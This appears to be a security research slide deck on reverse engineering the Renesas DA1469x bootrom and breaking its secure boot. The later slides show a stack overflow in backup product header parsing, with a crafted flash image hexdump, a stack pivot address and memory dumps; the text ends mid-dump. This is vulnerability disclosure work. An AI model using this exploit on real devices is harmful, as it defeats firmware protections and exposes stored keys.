DABOOTZONE

BREAKING THE DA1469X BOOTROM

Atredis Partners

WHOAMI

Chris Bellows

Research Science Director @ Atredis Partners

Owl Illustrator

ATREDIS PARTNERS

https://www.atredis.com

WHAT THIS IS ABOUT

Bizdev → Research → Consulting

DA1469X

Renesas Da1469x microcontrollers

- DA14691
- DA14695
- DA14697
- DA14699

Arm Cortex-M33, Bluetooth LE,PMU,Clocks,Crypto,blah,blah

Security features

- Secure Access - debug interface controls
- Secureboot - firmware validation
- Encrypted Firmware - on-the-fly decryption of firmware

Development Board available, fairly inexpensive ~100$

SECURITY FEATURES

THE IMPORTANT STUFF.

One-Time-Programmable (OTP) Segment

Configuration Script controls settings

- Dev/Prod Modes
- Secure Boot

Encryption Keys Provisioned here:

- QSPI FW Keys - on-the-fly fw decryption
- User Data Keys - application keys
- Public Keys - secure boot authentication

Segment	Bytes	Description	OTP Address
1	1024	**Configuration Script** ~100 registers write operations	0x00000C00
2	256	**QSPI FW Decryption Keys Area – Payload** write/read protected when secure mode enabled in CS Secure mode connects those (8 * 256-bits) keys to QSPI Controller	0x00000B00
3	256	**User Data Encryption Keys – Payload** Write/Read protected when secure mode enabled in CS. Secure mode connects those (8 * 256-bits) keys to AES engine	0x00000A00
4	32	**QSPI FW Decryption Keys Area – Index** Eight entries for eight 256-bit keys	0x000009E0
5	32	User Data Encryption Keys – Index 8 entries for 8 256-bit keys	0x000009C0
6	256	Signature Keys Area – Payload	0x000008C0
7	32	Signature Keys Area – Index	0x000008A0
8	2208	Customer Application Area (Secondary bootloader, binaries, and so on)	0x00000000

Bit field	Description
FORCE_DEBUGGER_OFF	This bit will permanently disable the M33 debugger
FORCE_CMAC_DEBUGGER_OFF	This bit will permanently disable the CMAC debugger
PROT_QSPI_KEY_READ	This bit will permanently disable CPU read capability at OTP offset 0x00000B00 and for the complete segment
PROT_QSPI_KEY_WRITE	This bit will permanently disable ANY write capability at OTP offset 0x00000B00 and for the complete segment
PROT_AES_KEY_READ	This bit will permanently disable CPU read capability at OTP offset 0x00000A00 and for the complete segment. The AES sections are only used by the application SW, but protecting the key area from read/write makes it secure after leaving the manufacturing facilities
PROT_AES_KEY_WRITE	This bit will permanently disable ANY write capability at OTP offset 0x00000A00 and for the complete segment. The AES sections are only used by the application SW, but protecting the key area from read/write makes it secure after leaving the manufacturing facilities
PROT_SIG_KEY_WRITE	This bit will permanently disable ANY write capability at OTP offset 0x000008C0 and for the complete segment. This is for protecting public keys from being written (used by ECC only)
SECURE_BOOT	This bit will enable authentication of the image in the FLASH while the system is booting

ENCRYPTION AT REST

Defensible external storage of user applications? Encryption!

- Keys loaded into OTP (QSPI Area)
- Application encrypted with provisioned key
- HW Engine decrypts application as its executed
- AES-CTR Mode
  - Allows decryption of arbitrary blocks
  - Performance / Execute-In-Place (XIP)

SECURE BOOT

Validates the application against public key stored in OTP

Once activated the following is enforced:

- Cannot be disabled
- Applications must be signed
- Applications must be encrypted
- OTP Key section read disabled
- Keys can be revoked

BOOTROM

Small code block executed first

- Initializes the system
- Handles transition to application/customer code
- Immutable (some exceptions)
  - Manufacturer only “patch” section
  - Focused-ion-beam (FIB)

Security Implemented Here

- Secureboot
- OTP
- Debug/Readback protections

Notable bug examples

- iPhone bugs (limera1n/checkm8)

EXTRACTION

Datasheet provides the memory map

Debugger/JLink to read to a file

Load into IDA

Draw the rest of the owl

Resource	Start Address	End Address	Size (kB)	PD	AMBA	Comments
Remapped Devices	0	800000	8192	PD_SYS	AHB	Remap IVT into SYSRAM
SYSRAM (code)	800000	880000	512	PD_MEM	AHB	Remapped at 0x0. DA14691 end address: 0x860000
Reserved						
ROM	900000	920000	128	PD_SYS	AHB	Remapped at 0x0

```
J-Link>savebin c:\users\chris\bootrom.bin, 0x900000, 0x20000
Opening binary file for writing... [c:\users\chris\bootrom.bin]
Reading 131072 bytes from addr 0x00900000 into file...O.K.
```

ANALYSIS CHALLENGES

Dense code

- No strings
- No symbols
- No debug statements/printf-like functions
- No external libraries

Strings | Hex View-1

Address	Length	Type	String
ROM:00002...	00000006	C	\nl\vJ\vK
ROM:00007...	00000020	C	SigEd25519 no Ed25519 collisions

Line 1 of 2

SUBWAY

Function name	Start
sub_100	00000100
sub_1E0	000001E0
sub_228	00000228
sub_32C	0000032C
sub_344	00000344
sub_384	00000384
sub_3C4	000003C4
sub_3E0	000003E0
sub_3F4	000003F4
sub_418	00000418
sub_4D0	000004D0

LET THE HW GUIDE YOU

Datasheet Provides Addresses

IDA Segments

- **Create manually/IDAPython**
- **SVD Loader (Edit>Plugins>SVD File Management)**
  - **SDK_10.0.12.146.1/config/embsys/Dialog_Semiconductor/DA1469x-00.xml**

Resource	Start Address	End Address	Size (kB)
WDOG	50000700	50000800	0,25
Reserved			
XTAL32M_C	50010000	50010200	0,5
TIMER	50010200	50010300	0,25
TIMER2	50010300	50010400	0,25
MAC_TIM	50010400	50010500	0,25
Reserved			
UART	50020000	50020100	0,25
UAR2	50020100	50020200	0,25
UART3	50020200	50020300	0,25
SPI	50020300	50020400	0,25
SPI2	50020400	50020500	0,25

```
 Generated by cmsis-svd (version 0.2), d.d. August 26, 2021 - 08:12:40
-->
<device xmlns:xs="http://www.w3.org/2001/XMLSchema-instance" schemaVersion="1.3" xs:
  <vendor>Dialog</vendor>                                   <!-- device vendor r
  <vendorID>ARM</vendorID>                                    <!-- device vendor
  <name>DA1469x</name>                                      <!-- name of part-->
  <series>DA1469x</series>                                    <!-- device serie
  <version>1.2</version>                                    <!-- version of th
  <description>690</description>
  <licenseText><!-- this license text will appear in header file. \n forces line bre
```

BACKWARDS IS FORWARD

Register access defines functionality

```
UART:5002000C UART_UART_LCR_REG % 4          ; DATA XREF: sub_264C+14↑r
UART:5002000C                                ; sub_264C+1A↑w ...
UART:5002000C                                ; RW: Line Control Register
```

```c
int __fastcall sub_264C(int result)
{
  int v1; // r3

  UART_UART_SRR_REG = 7;
  v1 = UART_UART_LCR_REG;
  UART_UART_LCR_REG = v1 | 0x80;
  UART_UART_DLF_REG = (unsigned __int8)result;
  UART_UART_RBR_THR_DLL_REG = BYTE1(result);
  UART_UART_IER_DLH_REG = BYTE2(result);
  UART_UART_LCR_REG = 3;
  UART_UART_IIR_FCR_REG = 7;
  UART_UART_IER_DLH_REG = BYTE2(result) & 0xFE;
  return result;
}
```

```c
int __fastcall UART_reset_and_configure_uart(int result)
{
  int v1; // r3

  UART_UART_SRR_REG = 7;                          // reset UART
  v1 = UART_UART_LCR_REG;
  UART_UART_LCR_REG = v1 | 0x80;                  // set Divisor Latch Access Bit, required to set
                                                  // buad rate via DLL/DLH reg
  UART_UART_DLF_REG = result;                     // set the rate divisor fractional part - 0x1106
  UART_UART_RBR_THR_DLL_REG = BYTE1(result);      // set the low byte of divisor
  UART_UART_IER_DLH_REG = BYTE2(result);          // set the hibyte of the divisor
  UART_UART_LCR_REG = 3;                          // datalen select b11 is 8bits
  UART_UART_IIR_FCR_REG = 7;                      // setup read interrupt register
  UART_UART_IER_DLH_REG = BYTE2(result) & 0xFE;
  return result;
}
```

Function Folders

UNICORNS

```
% python booter.py secure_img.bin
invalid register name CYCLECNT, skipping
invalid reg config value: XPSR - 69000000:APSR
invalid reg config value: IPSR - 000(NoException)
invalid register name CFBP, skipping
invalid register name MSPLIM, skipping
invalid register name PSPLIM, skipping
[-] Tracing basic block at Entry - Booter_Flow (0x15e8) - LR 0x1b6 - block size = 0x
[-] Tracing basic block at Entry - CLK_Enable_RC32M (0x155c) - LR 0x15ee - block siz
[+] Read: CRG_TOP + 0x0044 (4 bytes)
[+] Read: CRG_TOP + 0x0014 (4 bytes)
[+] Read: CRG_TOP + 0x0014 (4 bytes)
[+] Read: CRG_TOP + 0x0020 (4 bytes)
[+] Read: CRG_TOP + 0x0028 (4 bytes)
[-] Tracing basic block at Entry - WDOG_feed_ff (0x1544) - LR 0x1638 - block size =
[+] Read: CRG_TOP + 0x0020 (4 bytes)
[+] Read: CRG_TOP + 0x0028 (4 bytes)
[+] Read: CRG_TOP + 0x00f0 (4 bytes)
[+] Read: CRG_TOP + 0x00f0 (4 bytes)
[+] Read: CRG_TOP + 0x0020 (4 bytes)
[+] Read: CRG_TOP + 0x0028 (4 bytes)
[-] Tracing basic block at Entry - OTPC_enable_clock_and_reset (0x1cac)
[+] Read: CRG_TOP + 0x0000 (4 bytes)
[-] Tracing basic block at Entry - OTPC_set_read_mode (0x1dac) - LR 0x1
[-] Tracing basic block at Entry - QSPIC_set_manual_mode (0x2052) - LR
[+] Read: CRG_TOP + 0x0000 (4 bytes)
[+] Read: CRG_TOP + 0x0000 (4 bytes)
[+] Read: CRG_TOP + 0x0020 (4 bytes)
[+] Read: CRG_TOP + 0x0028 (4 bytes)
[-] Tracing basic block at Entry - QSPIC_Software_Reset_peripheral (0x2
[-] Tracing basic block at Entry - QSPIC_Enable_CS_active_low (0x1ee0)
[-] Tracing basic block at Entry - QSPIC_Disable_CS_active_low (0x1ef4)
[-] Tracing basic block at Entry - QSPIC_Enable_CS_active_low (0x1ee0) - LR 0x2192 - block size = 0x14
[-] Tracing basic block at Entry - QSPIC_WriteData_manual_mode (0x2460) - LR 0x2198 - block size = 0x20
QSPI: Release Power-down / Device ID
[-] Tracing basic block at Entry - QSPIC_Disable_CS_active_low (0x1ef4) - LR 0x219c - block size = 0x14
[-] Tracing basic block at Entry - QSPIC_Enable_CS_active_low (0x1ee0) - LR 0x21ba - block size = 0x14
[-] Tracing basic block at Entry - QSPIC_WriteData_manual_mode (0x2460) - LR 0x21c0 - block size = 0x20
QSPI: Enable Reset
```

```python
def load_jlink_reg_str(mu,raw_str):
  '''
  loads a raw string from a jlink session of the register state. example:
    PC = 000015E8, CycleCnt = 000011CE
    R0 = 00000000, R1 = 00000000, R2 = 00000002, R3 = 00000000
    R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 00000000
    R8 = 22F03812, R9 = 54020200, R10= 20030000, R11= 00000000
    R12= 18846521
    SP(R13)= 20040000, MSP= 20040000, PSP= 00000000, R14(LR) = 000001BB
    XPSR = 69000000: APSR = nZCvQ, EPSR = 01000000, IPSR = 000 (NoException)
    CFBP = 00000000, CONTROL = 00, FAULTMASK = 00, BASEPRI = 00, PRIMASK = 00
    MSPLIM = 00000000
    PSPLIM = 00000000
  '''
  regs = raw_str.strip().replace('\n',',').replace(' ','').split(',')
```

```python
mu.mmio_map(0x50000000, 4096, crg_top_read, None, crg_top_write, None)
mu.mmio_map(0x50010000, 4096, periph2_read, None, periph2_write, None)
mu.mmio_map(0x50020000, 4096, periph_read, None, periph_write, None)
mu.mmio_map(0x50040000, 4096, periph4_read, None, periph4_write, None)
mu.mmio_map(0x30070000, 4096, Otp.mmio_read, otp, Otp.mmio_write, otp)
mu.mmio_map(0x38000000, 4096, Qspi.mmio_read, qspi, Qspi.mmio_write, qspi)
mu.mmio_map(0x10080000, 4096, Otp.mem_read, otp, Otp.mem_write, otp)
```

https://www.unicorn-engine.org/

AIDAPAL PLUG

Manual Analysis

```c
int __fastcall UART_reset_and_configure_uart(int result)
{
  int v1; // r3

  UART_UART_SRR_REG = 7;                        // reset UART
  v1 = UART_UART_LCR_REG;
  UART_UART_LCR_REG = v1 | 0x80;                // set Divisor Latch Access Bit, required to set
                                                // buad rate via DLL/DLH reg
  UART_UART_DLF_REG = result;                   // set the rate divisor fractional part - 0x1106
  UART_UART_RBR_THR_DLL_REG = BYTE1(result);    // set the low byte of divisor
  UART_UART_IER_DLH_REG = BYTE2(result);        // set the hibyte of the divisor
  UART_UART_LCR_REG = 3;                        // datalen select b11 is 8bits
  UART_UART_IIR_FCR_REG = 7;                    // setup read interrupt register
  UART_UART_IER_DLH_REG = BYTE2(result) & 0xFE;
  return result;
}
```

Aidapal Analysis

```c
// This function configures various UART registers with the provided input value.
// It sets specific bits in the Software Reset Register, Line Control Register,
// Divisor Latch Fraction Register, Receive Buffer Register Threshold, Interrupt
// Enable Register, and Interrupt Identification Register/FIFO Control Register
// based on the input value.
int __fastcall configureUartRegisters_264c(int inputValue)
{
  int previousLcrValue; // r3

  UART_UART_SRR_REG = 7;
  previousLcrValue = UART_UART_LCR_REG;
  UART_UART_LCR_REG = previousLcrValue | 0x80;
  UART_UART_DLF_REG = inputValue;
  UART_UART_RBR_THR_DLL_REG = BYTE1(inputValue);
  UART_UART_IER_DLH_REG = BYTE2(inputValue);
  UART_UART_LCR_REG = 3;
  UART_UART_IIR_FCR_REG = 7;
  UART_UART_IER_DLH_REG = BYTE2(inputValue) & 0xFE;
  return inputValue;
}
```

Pseudocode-A

```c
int __fastcall sub_264C(int result)
{
  int v1; // r3

  UART_UART_SRR_REG = 7;
  v1 = UART_UART_LCR_REG;
  UART_UART_LCR_REG = v1 | 0x80;
  UART_UART_DLF_REG = (unsigned __int8)result;
  UART_UART_RBR_THR_DLL_REG = BYTE1(result);
  UART_UART_IER_DLH_REG = BYTE2(result);
  UART_UART_LCR_REG = 3;
  UART_UART_IIR_FCR_REG = 7;
  UART_UART_IER_DLH_REG = BYTE2(result) & 0xFE;
  return result;
}
```

000026A6 sub_264C:14 (26A6) (Synchronized with IDA View-A, IDA View-B)

aiDAPal Results

aiDAPal Function Name

☑ configureUartRegisters

aiDAPal Comment

☑ This function configures various UART registers with the provided input value. It sets specific bits in the Software Reset Register, Line Control Register, Divisor Latch Fraction Register, Receive Buffer Register Threshold, Interrupt Enable Register, and Interrupt Identification Register/FIFO Control Register based on the input value.

aiDAPal Variables

☑ result inputValue ☑ v1 previousLcrValue

Accept

Cancel

https://github.com/atredispartners/aidapal

NAVIGATION SYSTEM

REN_da1469x_3v3_DST_20220421.pdf

```
39  sub_1544(v0);
40  v3 = CRG_TOP_PMU_CTRL_REG;
41  CRG_TOP_PMU_CTRL_REG = v3 & 0xFFFFFFFB;
42  do
43    v4 = CRG_TOP_SYS_STAT_REG;
44  while ( (v4 & 0x200) == 0 );
45  v5 = CRG_TOP_POWER_CTRL_REG;
46  CRG_TOP_POWER_CTRL_REG = v5 & 0xFF8FFFFF | 0x400000;
47  CRG_TOP_POWER_CTRL_REG = v5 & 0xFF8FFF7F | 0x400080;
48  v6 = CRG_TOP_PMU_CTRL_REG;
49  CRG_TOP_PMU_CTRL_REG = v6 & 0xFFFFFFFE;
50  do
51    v7 = CRG_TOP_SYS_STAT_REG;
52  while ( (v7 & 8) == 0 );
53  v8 = sub_1CAC(1);
54  v9 = sub_1DAC(v8);
55  v10 = sub_2052(v9);
56  sub_20B6(v10);
57  byte_2003C954 = 1;
58  dword_2003C958 = 0;
59  v11 = CRG_COM_CLK_COM_REG;
60  CRG_COM_CLK_COM_REG = v11 | 1;
61  v12 = UART_reset_and_configure_uart(0x1106);
62  GPIO_P0_09_MODE_REG = 2;
63  GPIO_P0_08_MODE_REG = 1;
64  sub_1544(v12);
65  sub_228(&byte_2003C954);
66  v13 = CRG_TOP_CLK_CTRL_REG;
67  if ( (v13 & 0x4000) == 0 )
68  {
69    v14 = CRG_XTAL_XTAL32M_CTRL1_REG;
70    CRG_XTAL_XTAL32M_CTRL1_REG = v14 | 0x800000;
71  }
```

```c
19  CLK_Enable_RC32M();
20  CRG_TOP_CLK_AMBA_REG[0] = 0;                    // reset peripherals clocking
21  SYS_WDOG_WATCHDOG_CTRL_REG = 6;                 // reset watchdog controller
22  v0 = CRG_TOP_PMU_CTRL_REG;
23  CRG_TOP_PMU_CTRL_REG = v0 & 0xFFFFFFF7;         // clear COM_SLEEP [3]
24  do
25    ptr_sys_stat_reg = CRG_TOP_SYS_STAT_REG;
26  while ( (ptr_sys_stat_reg & 0x800) == 0 );      // spin until peripheral power domain is up [3] PD_PER
27  GPIO_P0_08_MODE_REG = 0x200;                    // open drain input
28  GPIO_P0_08_MODE_REG = 0x100;                    // push-pull,input pullup,
29  GPIO_P0_08_MODE_REG = 0x200;                    // // open drain input
30  WDOG_feed_ff();
31  ptr_pmu_ctrl_reg = CRG_TOP_PMU_CTRL_REG;
32  CRG_TOP_PMU_CTRL_REG = ptr_pmu_ctrl_reg & 0xFFFFFFFB;// clear TIM_SLEEP timers sleep [2]
33  do
34    ptr_sys_stat_reg_ = CRG_TOP_SYS_STAT_REG;
35  while ( (ptr_sys_stat_reg_ & 0x200) == 0 );     // spin until the timer power domain is up
36  ptr_power_ctrl_reg = CRG_TOP_POWER_CTRL_REG;
37  CRG_TOP_POWER_CTRL_REG = ptr_power_ctrl_reg & 0xFF8FFFFF | 0x400000;
38  CRG_TOP_POWER_CTRL_REG = ptr_power_ctrl_reg & 0xFF8FFF7F | 0x400080;
39  ptr_pmu_ctrl_reg_ = CRG_TOP_PMU_CTRL_REG;
40  CRG_TOP_PMU_CTRL_REG = ptr_pmu_ctrl_reg_ & 0xFFFFFFFE;
41  do
42    ptr_sys_stat_reg__ = CRG_TOP_SYS_STAT_REG;
43  while ( (ptr_sys_stat_reg__ & 8) == 0 );
44  OTPC_enable_clock_and_reset(1);
45  OTPC_set_read_mode();
46  QSPIC_set_manual_mode();
47  QSPIC_Software_Reset_peripheral();              // reset the qspi device
48  LOBYTE(configuration_script) = 1;
49  dword_2003C950 = 0;
50  ptr_clk_com_reg = CRG_COM_CLK_COM_REG;
51  CRG_COM_CLK_COM_REG = ptr_clk_com_reg | 1;      // enable UART clock
52  UART_reset_and_configure_uart(0x1106);          // reset and configure uart
53  GPIO_P0_09_MODE_REG = 2;                        // configure GPIO P0_09 function 0x2 - UART_tx
54  GPIO_P0_08_MODE_REG = 1;                        // configure GPIO P0_08 function 0x1 - Uart_rx
55  WDOG_feed_ff();
56  ConfigurationScript_Read((struct_configuration_script_ptr *)&configuration_script);// read the configuration scrpt from flash or qspi to address 0x2003c954
57  clk_ctrl_reg = CRG_TOP_CLK_CTRL_REG;
58  if ( (clk_ctrl_reg & 0x4000) == 0 )             // check if we are using XTAL32M clock
59  {
60    ptr_xtal32_ctrl1_reg = CRG_XTAL_XTAL32M_CTRL1_REG;
61    CRG_XTAL_XTAL32M_CTRL1_REG = ptr_xtal32_ctrl1_reg | 0x800000;// Enable xtal (startup) or enable xtal block (software 0x0 ABLE control mode) - testing only, to enable xtal, use PDC.
62  }
63  BYTE1(xtal32m_ready_flag) = 0;                  // believe this is waiting for the xtal32m to become ready and settled
64  TIMER_CTRL_timer_mode_set_c80(0x14);
65  while ( (unsigned __int8)xtal32m_ready_flag != 1 )
66    ;
67  TIMER_CTRL_timer_mode_set_c80(0x64);
68  do
69  {
70    ptr_xtal32_stat_reg = CRG_XTAL_XTAL32M_STAT1_REG;
71    if ( (ptr_xtal32_stat_reg & 0x200) != 0 )
72    {
73      ptr_xtal32_stat1_reg = CRG_XTAL_XTAL32M_STAT1_REG;
74      if ( (ptr_xtal32_stat1_reg & 0x400) != 0 )
75        break;
76    }
77  }
78  while ( (unsigned __int8)xtal32m_ready_flag != 1 );
79  if ( (unsigned __int8)xtal32m_ready_flag != 1 )
80  {
81    BYTE1(xtal32m_ready_flag) = 1;
82    TIMER_CTRL_enable_and_clear();
83    TIMER_CTRL_timer_mode_set_c80(20);
84    while ( (unsigned __int8)xtal32m_ready_flag != 1 )
85      ;
86    ptr_xtal32_ctrl0_reg = CRG_XTAL_XTAL32M_CTRL0_REG;
87    CRG_XTAL_XTAL32M_CTRL0_REG = ptr_xtal32_ctrl0_reg | 0x40000000;//  enable DXTAL for the system PLL.
88  }
89  do
90  {
91    if ( (_BYTE)configuration_script )            // if we have a configuration script
92    {
93      WDOG_feed_ff();
94      ptr_sys_ctrl_reg = CRG_TOP_SYS_CTRL_REG;
95      CRG_TOP_SYS_CTRL_REG = ptr_sys_ctrl_reg | 0x80;// enable debugger
96      if ( BYTE1(xtal32m_ready_flag) )
97        CLK_Set_source_xtal32m();
98      get_fw_ack = UART_Get_FW((int)&configuration_script);
99      CLK_Enable_RC32M();
100     if ( get_fw_ack )
101       RESET_to_REMAP_ADR_val(3u);                 // SW_Reset to RAM - boot uart fw
102   }
103   QSPI_Read_Product_Headers((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);
104 }
105 while ( BYTE1(configuration_script) != 1 );
106 WDOG_feed_ff();
107 if ( check_current_fw_addr_and_update_addr(product_img_offsets) )// differing offsets mean we have an update, enter
108 {
109   if ( !SECUREBOOT_check_and_validate(
110          product_img_offsets[1],
111          (FW_ImageHeader *)&dword_2003C950,
112          (int)product_img_offsets,
113          (struct_configuration_script_ptr *)&configuration_script) )// / returns 1 if secure boot is not enabled
114   {
115     QSPI_process_product_update((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);// replace both of the product headers with the new one
116     WDOG_Pet_1c34();
117   }
118 }                                                 // no update path
119                                                   // this returns 0 from [8] offset check
120                                                   //  if ( !(*qspi_data_value_ptr)[8] )
121                                                   //    return 0;
122 else if ( !SECUREBOOT_check_and_validate(
123            product_img_offsets[0],
124            (FW_ImageHeader *)&dword_2003C950,
125            (int)product_img_offsets,
126            (struct_configuration_script_ptr *)&configuration_script) )// returns 1 if secure boot is not enabled
127 {
128   WDOG_Pet_1c34();                                // we hit this
129 }
130 SECUREBOOT_CHECK_key_revocation(dword_2003C950);
131 sub_A6E((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);
132 WDOG_feed_ff();
133 if ( !SECUREBOOT_CHECK_setup_QSPIC_CTR_195C(
134        (struct_configuration_script_ptr *)&configuration_script,
135        product_img_offsets) )
136   WDOG_Pet_1c34();
137 OTPC_standby();
138 Cache_setup_qspi_cache(dword_2003C950, product_img_offsets);
139 write_to_sysram(dword_2003C950, product_img_offsets);
140 return RESET_to_REMAP_ADR_val(2u);              // SW Reset to QSPI Flash
141 }
```

BUGS

Secureboot pain point - writable areas

Flash format defines these

Product Header (Primary)

- Flash Programmed Identifier ("Pp") (2 bytes)
- Active FW Image Address (4 bytes in LE Format)
- Update FW Image Address (4 bytes in LE Format)
- Flash BURSTCMDA reg value (QSPI mode) (4 Bytes)
- Flash BURSTCMDB reg value (QSPI mode) (4 Bytes)
- Type Flash Config Section (2 Bytes) 0xAA11
- Length of Flash Config Section (2 Bytes)
- Flash Write Config reg Command sequence
- CRC (2 Bytes in LE Format)
- Reserved (x bytes to end of sector 0xFF)

Product Header (Backup)

- Flash Programmed Identifier ("Pp") (2 bytes)
- Active FW Image Address (4 bytes in LE Format)
- Update FW Image Address (4 bytes in LE Format)
- Flash BURSTCMDA reg value (QSPI mode) (4 Bytes)
- Flash BURSTCMDB reg value (QSPI mode) (4 Bytes)
- Type Flash Config Section (2 Bytes) 0xAA11
- Length of Flash Config Section (2 Bytes)
- Flash Write Config reg Command sequence
- CRC (2 Bytes in LE Format)
- Reserved (x bytes to end of sector 0xFF)

Firmware Image

- Image Identifier ("Qq") (2 bytes)
- Size (4 Bytes in LE format)
- CRC (4 Bytes in LE format)
- Version String (16 Bytes)
- Timestamp (4 bytes, seconds elapsed since epoch 1/1/1970)
- IVT offset rel. to active FW image address (4 bytes LE format)

Security

- Type Security Section (2 Bytes) 0xAA22
- Length of Security Section (2 Bytes)
- Index to ECC Key (1 Byte)
- Index to Sym. Key (1 Byte)
- NONCE (8 Bytes)
- Type Signature Section (2 Bytes) 0xAA33
- Length of Signature Section (2 Bytes)
- Signature (TLV Format)

Device Administration (TLV Format)

- Type Device Administration Section (2 Bytes) 0xAA44
- Length of Device Administration Section (2 Bytes)
- Type Key revocation record (2 bytes) 0xAA55
- Length of Key revocation record (2 Bytes)
- KeyType (0xA1 = Sign key, 0xA2 = Decr. Key, 0xA3 = User Data Key
- Key Index (1 Byte)
- ⋮
- KeyType (0xA1 = Sign key, 0xA2 = Decr. Key, 0xA3 = User Data Key
- Key Index (1 Byte)

SIGNED

- IVT
- Executable

ENCRYPTED

PRODUCT HEADER VALIDATION

Seems ok.

PRODUCT HEADER VALIDATION

Nope.

```
void __fastcall QSPI_Read_Product_Headers(struct_configuration_script_ptr *configuration_script_ptr, char *img_offset)
{
  char backup_product_header_buff[258]; // <----- FIXED BUFFER
  __int16 flash_cfg_len; // 2-byte size
  char product_header_id[4];
  unsigned __int16 product_header_length; // 2-byte size
  char is_valid; //
```

backup_product_header_buff[258] - fixed length value

product_header_length - user controlled 2-byte value in the Product Header (Length of Flash Config Section)

```
// read the entire backup header, including the stored CRC at the end
QSPI_Get_Read_Result(backup_product_header_buff, product_header_length + 2);
```

This one was trying its very best to be useful

```
product_header_length = flash_cfg_len + 0x16;
```

PRODUCT HEADER VALIDATION

```c
// check the first Flash Product Header (0x0) calculated CRC against the value stored in the Flash Product Header
is_valid = QSPI_read_header_check_crc(configuration_script_ptr->flash_header_ptr, product_header_length);// <--👉✅ THIS ONE
if ( is_valid != 1 )  // if the first Flash Product Header CRC check fails, check the next at offset 0x1000 in QSPI
{
  QSPI_Cycle_CS();   // begin process to check backup Flash Product Header
  // read the flash config length from the next header in QSPI (0x1000 + 0x14)
  QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr + 0x1014);
  QSPI_Get_Read_Result((char *)&flash_cfg_len, 2u);
  QSPI_reset();
  product_header_length = flash_cfg_len + 0x16;// calculate the entire length for the CRC check
  // check the second Flash Product Header (0x1000) CRC against the stored CRC value
  is_valid = QSPI_read_header_check_crc(configuration_script_ptr->flash_header_ptr + 0x1000,flash_cfg_len + 0x16);// <--👉 LARGE VALID HEADER
  // if the second Flash Product Header CRC fails, indicate as such and return to caller
  if ( is_valid != 1 )
  {…
  }
  // at this point the first header has failed CRC and the second has passed
  // read the backup buffer and write it to the primary location
  QSPI_Cycle_CS();
  // initiate a QSPI read at the start of the backup Flash Product Header (0x1000)
  QSPI_Send_Read_Request(3, configuration_script_ptr->flash_header_ptr + 0x1000);
  // read the entire backup header, including the stored CRC at the end
  QSPI_Get_Read_Result(backup_product_header_buff, product_header_length + 2); // I AM THE APP NOW❌
  QSPI_reset();
  WDOG_feed_ff_();
  QSPI_Cycle_CS();
  QSPI_sector_erase(configuration_script_ptr->flash_header_ptr);// erase the primary product header at 0x0
  WDOG_feed_ff_();
```

Example Infinite Loop Payload

Invalid Primary Header

```
$ hexdump -C workingloop.bin
00000000  50 70 00 20 00 00 00 20  00 00 eb 00 a5 a8 66 00  |Pp. ... ......f.|
00000010  00 00 aa 11 01 00 01 40  07 aa 4e ff ff ff ff ff  |.......@..N.....|
00000020  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
00001100  00 00 c0 84 00 20 00 aa  bb cc a5 a8 66 00 00 00  |..... ......f...|
00001110  0b 00 04 20 01 00 07 24  24 24 24 24 00 bf 00 bf  |... ...$$$$$....|
00001120  00 bf 00 bf 00 bf 00 bf  00 bf 00 bf 00 bf fe e7  |................|
00001130  00 04 f1 a0 47 80 33 33  31 31 33 33 31 31 33 33  |....G.3311331133|
00001140  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
00004140  31 31 33 33 31 31 33 7f  0b 31 33 33 31 31 33 33  |1133113..1331133|
00004150  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
0000ccb0  31 31 33 33 31 31 33 33  31 31 33 9c 87 31 33 33  |11331133113..133|
0000ccc0  31 31 33 33 31 31 33 33  31 31 33 33 31 31 33 33  |1133113311331133|
*
```

Infinite Loop Payload

Stack Pivot Address

Backup CRC

Pre-Computed CRC

```
J-Link>setbp 0x1082 <--- vulnerable call
Breakpoint set @ addr 0x00001082 (Handle = 2)
J-Link>go
```

```
CPU is halted (PC = 0x00001082).
J-Link>regs
PC = 00001082, CycleCnt = 00EAAFB6
R0 = 2003FEDC, R1 = 00003149, R2 = 00003149, R3 = 2003FEDC
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FED0
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FED0, MSP= 2003FED0, PSP= 00000000, R14(LR) = 00001F3F
```

Before Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 10333131
2003FF80 = 33333131 2003FF88 2003FFB0 FFFFFFB8
2003FF90 = 00000001 E000E100 00010000 00000001
2003FFA0 = ABA08801 000025DB 000026BE 29000000
2003FFB0 = 00010000 2003C954 ABA08801 006025DB
2003FFC0 = 2003FFC8 00002863 2003FFF0 2003C954
2003FFD0 = 00000001 00000000 00010000 31310001
2003FFE0 = ABA08801 01003147 2003FFF0 000017D9
2003FFF0 = 00000000 00000000 00000000 000001BB
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

Original Return

After Overflow

```
J-Link>mem32 2003FED0,0x100
2003FED0 = 2003C944 2003C954 4EE54BA6 33333131
2003FEE0 = 33333131 33333131 33333131 33333131
2003FEF0 = 33333131 33333131 33333131 33333131
2003FF00 = 33333131 33333131 33333131 33333131
2003FF10 = 33333131 33333131 33333131 33333131
2003FF20 = 33333131 33333131 33333131 33333131
2003FF30 = 33333131 33333131 33333131 33333131
2003FF40 = 33333131 33333131 33333131 33333131
2003FF50 = 33333131 33333131 33333131 33333131
2003FF60 = 33333131 33333131 33333131 33333131
2003FF70 = 33333131 33333131 33333131 33333131
2003FF80 = 33333131 33333131 33333131 33333131
2003FF90 = 33333131 33333131 33333131 33333131
